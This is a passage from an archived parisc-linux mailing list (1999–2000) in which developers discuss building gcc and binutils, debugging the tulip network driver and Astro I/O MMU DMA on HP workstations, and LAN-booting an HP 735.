	for <parisc-linux@thepuffingroup.com>; Tue, 11 Apr 2000 08:50:55 -0700 (PDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12f2wJ-0002l4-00; Tue, 11 Apr 2000 09:50:55 -0600
In-reply-to: Your message of "09 Apr 2000 12:17:13 EDT."
             <87em8fjlkm.fsf@tarwebok.thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7192

= > So, crtbegin/crtend are related to constructors and destructors for C++.  I

I've been editing them out of the spec file by hand, but I suspect that
configure --disable-shared and setting the gcc configure languages list
to dis-include C++ might work too.  (If the lang list only had C in it,
the build might be faster too)

Another thing which is handy is to 'cd gcc; ln -s ../binutils .'
After this, the configure/make/make-install inside the gcc directory
properly handles binutils, so you don't have to do it separately and
it solves some of the installation problems I had before.

The linker problem is always where I end up stuck.  I tried mangling
the vmlinux.lds to link my hello world and that didn't work either,
but I'm NO linker expert.  FYI I added an assert() (it's in CVS) which
catches the linker segfault (binutils/bfd/elf32something) if anyone
wants to become a linker expert and figure it out :-)

	-P


From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Astro and 100BT still not working
Date: Tue, 11 Apr 2000 22:14:55 -0700 (PDT)
Lines: 69
Approved: news@gmane.org
Message-ID: <200004120514.WAA16365@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618886 32066 80.91.229.3 (22 Nov 2014 01:14:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Apr 11 23:14:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA06204
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Apr 2000 23:14:58 -0600
Original-Received: (qmail 3069 invoked by uid 15267); 12 Apr 2000 05:14:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3062 invoked from network); 12 Apr 2000 05:14:53 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 12 Apr 2000 05:14:53 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id EF96B59FC
	for <parisc-linux@thepuffingroup.com>; Wed, 12 Apr 2000 01:14:52 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id WAA16365 for parisc-linux@thepuffingroup.com; Tue, 11 Apr 2000 22:14:55 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7193

Hi all,
I haven't been able to figure out why the 100BT isn't able
to read the Tx Descriptor and send a setup frame on the C3000.
I'm giving up on this for a bit. I need someone else too look at
this and bounce ideas off of me.

The remainder of this e-mail is a summary of what I know so far
and where to find the data I've.

Thomas has the tulip driver working on the A180's built-in tulip.
But A180 has a completely different processor and I/O subsystem.
And as noted before David Miller has the same driver (pre3)
working on Sparc64 (also 64-byte cacheline).

I've ruled out 64-byte cacheline size (in the configuration space
register) is the problem though it seems tulip driver violates
some of the rules in the doc regarding CAL and WIE bits in CSR0.

I have more PCI bus traces of HP-UX and parisc-linux talking to
the tulip chip on:
	ftp://puffin.external.hp.com/pub/parisc/debug

I've added comments to most of the register accesses since
I don't know tulip very well.

Filename         Comment
--------         -------------------------------------
cogent1.txt      parisc-linux boot. Using "Cogent" tulip card.
                 Trigger when card issues mem_read of 0xfffffffc.
cogent1_cons.txt matching c3k console output

hp100bt1.txt     parisc-linux boot. using HP 100BT card for V-class.
hp100bt1_cons.txt Matching c3k console output.

hp100bt2.txt     HP-UX 10.20 (9912) boot. trigger on first write to CSR4.
hp100bt3.txt     HP-UX 10.20 (9912) boot. trigger on second write to CSR4.
                 (Shows card reading descriptors and updating status.)
hp100bt4.txt     parisc-linux with some minor kernel changes.

The most recent PCI trace is interesting because it suggests something
is wrong with the DMA mapping. One of the changes was for "start" (first
IOVP allocated) to be pdir[0x10] (IOVP=0x10000) instead of pdir[0].
And the card read in zero's instead of the descriptor data!
(see the end of the trace)

Some possible theories:
1) it's not coherent (perhaps LCI didn't work right),
2) the code isn't writing the correct entry in the I/O pdir,
3) the DMA address (IOVA) isn't assembled correctly.
4) some Astro/Elroy HW bug. (using Astro 2.1 and Elroy 2.1)
5) some "bug" in the HP add-on 100BT boards (eg CSR15 and general purpose pins)

I don't think it's (2) or (3) because I've reviewed the results
of console output. I can't determine if LCI is "working".
Philip helped correct problems in that area last Thursday
so it should be ok too. Console output has the full I/O Pdir
entry dumped (in little endian format - MSB is last byte)
if someone could/wants to verify this.

Regarding HW bugs, X4107 (fixed in Elroy 2.2) is a nasty ordering bug.
I don't think we are hitting this since we don't have DMA going yet.
I haven't reviewed Astro Errata yet but will tomorrow.

I didn't think the GEP could cause this kind of problem but maybe
something is a problem. Perhaps I could try the same card in an A180...

thanks,
grant


From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Astro and 100BT still not working
Date: Tue, 11 Apr 2000 23:08:16 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <200004120608.XAA16442@milano.cup.hp.com>
References: <200004120514.WAA16365@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618886 32268 80.91.229.3 (22 Nov 2014 01:14:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Apr 12 00:08:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA06896
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Apr 2000 00:08:15 -0600
Original-Received: (qmail 26272 invoked by uid 15267); 12 Apr 2000 06:08:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26265 invoked from network); 12 Apr 2000 06:08:14 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 12 Apr 2000 06:08:14 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 286B910B6
	for <parisc-linux@thepuffingroup.com>; Tue, 11 Apr 2000 23:08:14 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id XAA16442 for <parisc-linux@thepuffingroup.com>; Tue, 11 Apr 2000 23:08:16 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 11 Apr 2000 22:14:55 PDT."
             <200004120514.WAA16365@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7194

Grant Grundler wrote:
> Some possible theories:
> 1) it's not coherent (perhaps LCI didn't work right),

First off, I noticed (again) that the I/O MMU (aka IIOC)
isn't documented. Since it wasn't part of "Astro" documentation
it didn't get put through "the process".  Astro uses I/O MMU logic
original designed for Ike and thus didn't repeat stuff written
in the Ike Documentation. I think the public files even say
that someplace.

Anyway, Here's something interesting out of the "Ike" documentation:

    7.6 Virtual Index support

    In PCX-W based systems, DMA is coherent only if a virtual index is
    supplied with the physical address. So, most DMA addresses will have
    to be translated by the TLB. When the translation is done, the virtual
    index stored in the VINDEX field of the I/O PDIR entry is supplied by
    the TLB. In some cases, however, this may lead to performance problems.
    So, a Direct Virtual Index (DVI) mode is also supported. The PSC in
    Elroy is responsible for recognizing a DVI address and separating the
    virtual index from the address. See the PSC chapter. In either mode,
    8 bits of virtual index are supported.

    For I/O PDIR fetches themselves, IKE assumes that the I/O PDIR is
    equivalently mapped. I.e., it assumes that the physical address =
    virtual address and so it supplies bits 19:12 of the physical address
    as the virtual index. To ensure coherency of I/O PDIR fetches, the
    I/O PDIR must be equivalently mapped.


The second paragraph worries me. It suggests parisc-linux has to flush
the cachelines which contain I/O Pdir data every time such data is
changed since it's not equivalently mapped.  Since only bits 31:28
are different for kernel space (0xc....), does this still apply?

How can I test this?
(ie What's the linux function/macro to flush a cacheline?)

FWIW, this is a safe assumption for HP-UX.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Brancato <funnyguy@digitalsmackdown.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] booting from lan error...
Date: Wed, 12 Apr 2000 03:11:27 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10004120254090.13750-100000@morph.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618886 32269 80.91.229.3 (22 Nov 2014 01:14:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: funnyguy@digitalsmackdown.net  Wed Apr 12 01:11:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA07518
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Apr 2000 01:11:39 -0600
Original-Received: (qmail 18728 invoked by uid 15267); 12 Apr 2000 07:11:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18717 invoked from network); 12 Apr 2000 07:11:33 -0000
Original-Received: from unknown (HELO morph.localdomain) (root@128.163.246.209)
  by mailserv2.iuinc.com with SMTP; 12 Apr 2000 07:11:33 -0000
Original-Received: from localhost (funnyguy@localhost)
	by morph.localdomain (8.9.3/8.9.3) with ESMTP id DAA13836
	for <parisc-linux@thepuffingroup.com>; Wed, 12 Apr 2000 03:11:27 -0400
X-Authentication-Warning: morph.localdomain: funnyguy owned process doing -bs
X-Sender: funnyguy@morph.localdomain
Xref: news.gmane.org gmane.linux.ports.parisc:7195


Hey Everyone,

Well, I've gone and researched the 735/125 we have again.  Everytime I try
to install HPUX on it, the HD is reporting 0 disk space.  I low-level
format it on my x86 machine, and it starts reporting fine.  I switch the
HD back to the 735 and it reports 0 capacity again, so HPUX won't allow me
to install.  But the real problem is not being able to LAN boot.

bootp won't work with our 735/125.  Search/Autoselect doesn't see
lan.x.x.x as a bootable device.  Is that a problem?  Shouldn't LAN be one
of the boot paths?  I have lan.x.x.x with appropriate values set as the
primary boot path, it requests bootp from one of the j282 machines which
serves as the bootpd for all the netstations in our lab.  If I allow it to
boot to LAN with running "BOOT lan.x.x.x", no packets are being sent, but
it thinks they are. I will double check the cables, but I doubt that is
the problem.  The machine has the Intel slider card, with the HP
transciever on the back.  Even if the cables were bad, wouldn't the
firmware see the lan.x.x.x as a bootable path?  It should be "P0" since it
is the primary path, correct?
Would the slider card be bad?  Everything lights up fine.
Is this a known problem?
Any ideas are welcomed!

Thanks!
mike


From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: davisg@Celestica.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tulip on parisc-linux
Date: Wed, 12 Apr 2000 10:13:21 -0400
Lines: 223
Approved: news@gmane.org
Message-ID: <852568BF.004E1032.00@tormta3.tor.cel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618886 32271 80.91.229.3 (22 Nov 2014 01:14:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:46 +0000 (UTC)
Cc: grundler@cup.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: davisg@Celestica.com  Wed Apr 12 08:14:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA11902
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Apr 2000 08:14:35 -0600
Original-Received: (qmail 19384 invoked by uid 15267); 12 Apr 2000 14:14:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19377 invoked from network); 12 Apr 2000 14:14:33 -0000
Original-Received: from glace.qu.ca.prserv.net (129.37.164.60)
  by mailserv2.iuinc.com with SMTP; 12 Apr 2000 14:14:33 -0000
Original-Received: from hivermuet.advantis.ca (hivermuet [198.74.66.3]) by glace.qu.ca.prserv.net (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id KAA65008; Wed, 12 Apr 2000 10:00:15 -0500
Original-Received: from Celestica.com ([32.69.41.45]) by hivermuet.advantis.ca (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id KAA27730; Wed, 12 Apr 2000 10:05:24 -0500
Original-Received: from tormta3.tor.cel.com (tormta3.tor.cel.com [32.69.41.171]) by Celestica.com (AIX4.2/UCB 8.7/8.7) with SMTP id KAA44722; Wed, 12 Apr 2000 10:13:53 -0400 (EDT)
Original-Received: by tormta3.tor.cel.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852568BF.004E1B59 ; Wed, 12 Apr 2000 10:13:08 -0400
X-Lotus-FromDomain: CELESTICA
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:7196




My ignorant $0.02.

Notice that in your original two PCI traces the fetch of the transmit
descriptors appears to be correct.
At least the values shown in the bus trace make sense. Maybe the length of the
fetch is a problem.
But things don't appear to be too bad since the data in the TDs looks good at
this point.

I'm not convinced that the problem is due to Astro I/O TLB problems because
you're showing good
data in the fetch of the TDs. Also, RD/TD fetches use simple PCI Mem Read/Write
cycles,
not Read/Write Line. So this appears to be correct (at least if the traces are
correctley indicating
the types of PCI cycles).

My money is on a timing problem in the CSR register writes. Read on...

Grant Grundler wrote:

> Couple of questions:
> 1) Anyone know if drivers/net/tulip/* (pre3 or later) work on
>    an architecture with 64-byte cachelines?
>    (21143 doc says it supports 8/16/32 byte cachlines)
>

Actually, the units are "longwords", i.e. 32, 64; 128 Byte
cache line sizes.

> 2) The tulip fetches way more data than it needs for the setup frame
>    TX descriptor. (See lines -215 to -4 of the cogent PCI trace).
>    Anyone know why?
>    (I can arrange a free 712/80 for who ever can explain that to me)

No, but can I guess?

CAUTION: too much drivel ahead. Skip to the end though - cause I think
I have a potential solution...

My guess is that you haven't (actually the tulip driver hasn't) set the TER bit
in TDES1 of the last
TD in the ring (which points back to 0x200). Under the assumption that the DMA
engine in the 21143
performs prefetch of descriptors (although admittedly 52 +/- entries is a bit
much particularly
in consideration of the fact that only the first entry has the OWN bit set and
all entries thereafter
are owned by the host) and PBL in CSR0 is cleared, i.e. the free space in the
xmit FIFO prior to
the 21143 issuing a bus request sets the memory read burst lenght (but what does
the xmit FIFO
have to do with prefetch of xmit buffer descriptors -  who knows - I'm merely
guessing). This is
kinda based on reading between the lines of the 21143 HRM since there really
doesn't appear
to be any rational explanation based on the device documentation.

Hmmm, I think I'm liking the PBL theory - assuming that the 21143 PCI master
interface prefetch
engine isn't tightly integrated with the DMA descritor prefetch logic, this long
prefetch of descriptors
may be merely an artifact of the 21143 PCI master interface design. Now I'm
really full-of-****.

How deep is the Xmit FIFO anyway? I can't find a number in the HRM. It has to be
at least 1500
bytes (for store and forward). If the PBL is in fact set based on the Xmit FIFO
threshold setting
rather than the amount of free space as implied in the HRM, then the 52 +/- TDs
fetched is
kinda in the vicinity of half-full: 1500/2 -> 750 Bytes. Which is in the range
of the 836 (209 longwords * 4
bytes/longword) Bytes fetched by the 21143.


Try changing the PBL to something other than 0 and observe the results (length
of TD prefetch)...


Another thought: maybe the Configuration Latency Timer setting is related to
what
you're seeing? Oooh, I just imported your trace into a spread sheet and come up
with a 21143 DMA memory read duration of about 271 PCI clock ticks assuming
30ns clock period. Sounds suspicously close to a max latency of 255 ticks give
or
take assuming bus grant was revoked?


HERE BE DRAGONS (or at least I hope so I can get  a free 712/80):
=========================================================

Wait a minute... why are you writing to CSR5 immediately after setting CSR6
start/stop
xmit.  The HRM says the last thing you should do when setting up is to write to
CSR6.
The device gets pretty picky about what you can get away with thereafter. Maybe
the fact that the tulip driver is writing to CSR5 immediately after setting the
xmit start/stop
bit is causing confusion in device's state. Since the Status Register bits are
Read/Clear,
shouldn't they be cleaned up prior to starting the transmit and/or receive
engines?
Seems like trouble may be possible otherwise, e.g. clearing an event in
progress?

I'm looking at the tulip driver source contained in the 2.3.28 release and I'm
having
trouble understanding how the chip is assured that it can complete what it's
doing
before getting clobbered by some of the later CSR writes. There is no pause
after
starting the load of the setup frame prior to writing to CSR5, CSR7, CSR6 and
then
starting the receive engine in quick succession. Shouldn't there at least be a
delay (let alone status read) to be sure that the xmit engine has started prior
to
clobbering that status register by blindly Writing (Clearing) bits. See the last
dozen
lines of proc tulip_open for the code sequence in question. Shouldn't there be
at least some amount of delays and/or status checking between starting the
Xmit/Rcv
engines and subsequent actions?

Now that I've completely embarrassed myself, why not try simply inserting a
delay immediately after you start the transmit engine for the setup frame to
see if there is indeed some problem in writing to CSR5 so quickly after
launching
the setup frame. Otherwise, everthing else in the traces appear to be normal
prior
to the attempted fetch of the transmit buffer descriptor for the setup frame. Of
course,
the bogus DMA cycles thereafter seem to imply something broke (stating the
obvious).



Although, I haven't given you a concrete  answer, do I still qualify for the
free 712/80 if I'm
on the mark?


Way too much time on this... Maybe I should resolve to be a silent bystander!


Regards,
George

P.S. I have another theory - have you performed a hard reset of the device to
assure
that no residual state lingers from the IODC's use of same during boot. Assuming
you
booted via this devce.





Grant Grundler <grundler@cup.hp.com> on 04/11/2000 12:26:18 AM

To:   parisc-linux@thepuffingroup.com
cc:    (bcc: George G Davis/CCH/Celestica)

Subject:  [parisc-linux] tulip on parisc-linux



[ FYI - I posted this to linux-kernel mailing list earlier today
  and David Miller already replied saying this version of tulip
  driver works on Sparc64 (which has 64-byte cachelines) ]

Hi all,
I'm trying to bring-up tulip driver on an HP C3000 workstation.
I started out using a cogent (adaptec) 21143 PCI board.  I've
collected a PCI bus trace (cogent1.txt) and corresponding console
output (cogent1_cons.txt).  Both can be found on
     ftp://puffin.external.hp.com/pub/parisc/debug.

I then tried a HP 21143 PCI card and got similar results.
Output is in the same place under "hp100bt1*.txt".

The tulip driver in the parisc source tree "works" (NFS root)
for Thomas Bogendoerfer on his A180 (PA1.1, 32-byte cacheline) using
the "built-in" DEC 21143.  IIRC, Thomas pulled the current source
in the parisc-linux tree from 2.3.99-pre3.

Couple of questions:
1) Anyone know if drivers/net/tulip/* (pre3 or later) work on
   an architecture with 64-byte cachelines?
   (21143 doc says it supports 8/16/32 byte cachlines)

2) The tulip fetches way more data than it needs for the setup frame
   TX descriptor. (See lines -215 to -4 of the cogent PCI trace).
   Anyone know why?
   (I can arrange a free 712/80 for who ever can explain that to me)

There is also an issue with the tulip trying to mem_read from 0xfffffffc.
but I think that's a "side effect" of #2 above.


FWIW, my goal was to debug "Dynamic DMA mapping" support for "Astro"
based parisc platforms (eg B1000/C3000/J5000). Interested parties can
look at the code in:
http://puffin.external.hp.com/cgi-bin/cvsview/linux-2.3/arch/parisc/kernel/sba_iommu.c


thanks,
grant

Grant Grundler
grundler@removethis.cup.hp.com

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.






From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob Pflederer <krp@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Astro and 100BT still not working
Date: Wed, 12 Apr 2000 10:14:49 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20000412101449.A1636@atl6narkp02a.atl.hp.com>
References: <200004120514.WAA16365@milano.cup.hp.com> <200004120608.XAA16442@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618887 32273 80.91.229.3 (22 Nov 2014 01:14:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: krp@rsn.hp.com  Wed Apr 12 09:19:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA12533
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Apr 2000 09:19:03 -0600
Original-Received: (qmail 2167 invoked by uid 15267); 12 Apr 2000 15:19:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2142 invoked from network); 12 Apr 2000 15:19:00 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 12 Apr 2000 15:19:00 -0000
Original-Received: from atl6narkp02a.atl.hp.com (atl6narkp02a.atl.hp.com [15.114.135.170])
	by atlrel1.hp.com (Postfix) with ESMTP id 9A3A73588
	for <parisc-linux@thepuffingroup.com>; Wed, 12 Apr 2000 11:14:50 -0400 (EDT)
Original-Received: (from krp@localhost)
	by atl6narkp02a.atl.hp.com (8.9.3/8.8.7) id KAA01736;
	Wed, 12 Apr 2000 10:14:49 -0500
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <200004120608.XAA16442@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7197

On Tue, Apr 11, 2000 at 11:08:16PM -0700, Grant Grundler wrote:
> 
>     For I/O PDIR fetches themselves, IKE assumes that the I/O PDIR is
>     equivalently mapped. I.e., it assumes that the physical address =
>     virtual address and so it supplies bits 19:12 of the physical address
>     as the virtual index. To ensure coherency of I/O PDIR fetches, the
>     I/O PDIR must be equivalently mapped.
> 
> 
> The second paragraph worries me. It suggests parisc-linux has to flush
> the cachelines which contain I/O Pdir data every time such data is
> changed since it's not equivalently mapped.  Since only bits 31:28
> are different for kernel space (0xc....), does this still apply?
> 
No.  Only bits 19:12 of the virtual address need to match bits 19:12 of the 
physical address.  You may need to use space=0 for your virtual address 
because of the CPU's space hashing feature.


From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] kernel stuff
Date: Wed, 17 Mar 1999 21:14:07 -0500
Organization: mozilla.org diplomatic corps
Lines: 24
Approved: news@gmane.org
Message-ID: <36F0616F.D8B86BAD@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618887 32276 80.91.229.3 (22 Nov 2014 01:14:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:47 +0000 (UTC)
To: hppa-linux@puffingroup.com
Original-X-From: shaver@netscape.com  Wed Mar 17 21:13:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id VAA04578
	for <hppa-linux@sod.res.cmu.edu>; Wed, 17 Mar 1999 21:13:14 -0500
Original-Received: (qmail 21154 invoked by uid 15267); 18 Mar 1999 02:12:19 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 21147 invoked from network); 18 Mar 1999 02:12:19 -0000
Original-Received: from burrow.puffingroup.com (root@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 02:12:19 -0000
Original-Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46])
	by burrow.puffingroup.com (8.8.7/8.8.7) with ESMTP id WAA00825
	for <hppa-linux@puffingroup.com>; Wed, 17 Mar 1999 22:17:58 -0500
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id SAA21136
	for <hppa-linux@puffingroup.com>; Wed, 17 Mar 1999 18:12:16 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F8RQ4H00.7K6 for <hppa-linux@puffingroup.com>; Wed, 17 Mar 1999
          18:12:17 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.0-pre7-ac1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7198

Two questions:
1) Why is there not a complete kernel checked into CVS?  It's going to
be a major nightmare if we don't control the entire tree and when we
merge forward to new Linus versions, etc.
[shaver@loonie parisc-linux]$ cvs -d
:pserver:shaver@sod.res.cmu.edu:/home/cvs/hppa co linux
cvs server: Updating linux
cvs server: Updating linux/arch
cvs server: Updating linux/arch/parisc
cvs server: Updating linux/arch/parisc/hp
U linux/arch/parisc/hp/machines.h
cvs server: Updating linux/arch/parisc/hp/boot
U linux/arch/parisc/hp/boot/Makefile
U linux/arch/parisc/hp/boot/mkipl.c
U linux/arch/parisc/hp/boot/mklifhdr.c
[shaver@loonie parisc-linux]$

2) What version should I unpack under the bits that _are_ in the tree?

Mike

-- 
291958.32 246858.49


From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting from lan error...
Date: Wed, 12 Apr 2000 12:35:17 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20000412123517.A14264@puffin.external.hp.com>
References: <Pine.LNX.4.10.10004120254090.13750-100000@morph.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618887 32278 80.91.229.3 (22 Nov 2014 01:14:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:47 +0000 (UTC)
To: Mike Brancato <funnyguy@digitalsmackdown.net>,
        parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Wed Apr 12 12:35:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA14277
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Apr 2000 12:35:20 -0600
Original-Received: (qmail 6979 invoked by uid 15267); 12 Apr 2000 18:35:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6971 invoked from network); 12 Apr 2000 18:35:19 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 12 Apr 2000 18:35:19 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id MAA14272;
	Wed, 12 Apr 2000 12:35:17 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <Pine.LNX.4.10.10004120254090.13750-100000@morph.localdomain>; from Mike Brancato on Wed, Apr 12, 2000 at 03:11:27AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7199

On Wed, Apr 12, 2000 at 03:11:27AM -0400, Mike Brancato wrote:
> bootp won't work with our 735/125.  Search/Autoselect doesn't see
> lan.x.x.x as a bootable device.

are you sure that machine is using bootp rather than rbootd ?

> transciever on the back.  Even if the cables were bad, wouldn't the
> firmware see the lan.x.x.x as a bootable path?

715/old firmware at least doesn't show lan as bootable path unless it
detects an rbootd server.

	Philipp Rumpf


From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
